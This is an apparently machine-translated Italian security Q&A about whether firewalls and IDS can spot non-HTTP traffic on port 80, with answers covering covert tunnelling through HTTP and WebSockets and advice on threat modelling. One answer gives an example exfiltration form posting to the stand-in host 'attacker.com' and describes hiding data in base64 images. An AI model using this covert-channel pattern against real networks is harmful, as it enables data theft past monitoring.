Rileva i pacchetti non HTTP utilizzando la porta 80

Gli IDS e diversi firewall di ispezione profonda (talvolta denominati NGFW o UTM) in genere possono rilevare se il traffico è HTTP o meno. Anche un proxy HTTP in primo piano semplicemente bloccherebbe tutto ciò che non è HTTP corretto.

Ma tieni presente che è possibile creare una shell inversa in cui il traffico sarà simile a HTTP, quindi questo filtro aiuterà solo un po '.

L'attaccante può facilmente imitare il traffico HTTP, quindi dubito che qualsiasi IDS / IPS impedirebbe a una shell ben sviluppata di imitare le richieste HTTP per estrarre i dati. È molto facile creare una pagina HTML falsa, incorporare le immagini con <img src="data:image/png;base64,iVBORw0KG…8bg5CYII="> e inserire il traffico all'interno.

Una compressione senza perdita di dati (come PNG) consente l'invio di qualsiasi dato necessario al cliente all'interno e i dati possono essere inviati all'esterno utilizzando <form action="http://attacker.com/submit.pl" method="post" enctype="multipart/form-data"> .

Advanced IPS / IDS può aiutarti. ma ci sono alcuni tipi di firewall completamente personalizzati per il web (HTTP / HTTPS).

Sono chiamati WAF, Web Application Firewall.

Un buon WAF con una configurazione adeguata può prevenire molti attacchi, come quello di cui stai parlando.

This is of course only an example and I'm aware of the possibility to hide the payload in a seemingly correctly designed payload. It's all about making it harder for the bad guys.

Non è semplicemente "possibile". È facile. Infatti, sotto HTML5, è decisamente banale .

Con WebSockets, una connessione di tipo HTTP può eseguire il tunnel di contenuti arbitrari tra client- Javascript e un'applicazione web lato server. Questo è un obiettivo di design esplicito dello standard, non un incidente felice. Anche se potresti essere in grado di bloccare WebSockets, è probabile che questo interrompa le applicazioni web reali. Peggio ancora, se il sito dell'attaccante viene pubblicato su HTTPS (che è anche facile ), in pratica non puoi bloccare WSS poiché ciò richiederebbe che tu eseguissi un Attacco MitM esattamente del tipo che TLS è progettato per prevenire.

È possibile rilasciare i propri certificati di root, installarli su tutte le macchine client e MitM in questo modo. Ma ora stai giocando con i tuoi utenti muri e scale . Rompendo WebSockets, stai dando loro un incentivo per trovare un modo per aggirare il tuo sistema.

Il problema è che HTTP non è un protocollo "sicuro" o limitato. È stato progettato per facilitare la condivisione di documenti HTML. Non è stato progettato per impedire usi non correlati alla condivisione di documenti. Quindi, in pratica, può essere usato e abusato in molti modi, ed evitarlo è patologicamente difficile.

Quindi cosa puoi fare? Beh, dipende da cosa stai cercando di fare in primo luogo.

Se sei (per esempio) un college, e stai cercando di impedire agli studenti di consumare enormi quantità di larghezza di banda giocando ai giochi online, torrentando illegalmente cose, ecc., quindi monitora il loro utilizzo della larghezza di banda e blocca il N% più alto (per realistico N in base alla capacità della rete).

Se sei un'azienda e stai cercando di impedire che determinati tipi di malware vengano richiamati a casa, dovresti concentrarti sull'educazione dei tuoi utenti in merito al malware, oltre a qualsiasi tipo di blocco non HTTP che stai facendo.

Se stai bloccando il non-HTTP perché non riesci a pensare ad una buona ragione per permetterlo, dovresti chiederti quale sia il tuo modello di minaccia. Quali attacchi saranno mitigati da questo tipo di blocco? Quali usi legittimi smetteranno di funzionare? È probabile che la politica infastidisca i tuoi utenti al punto da tentare di aggirarli?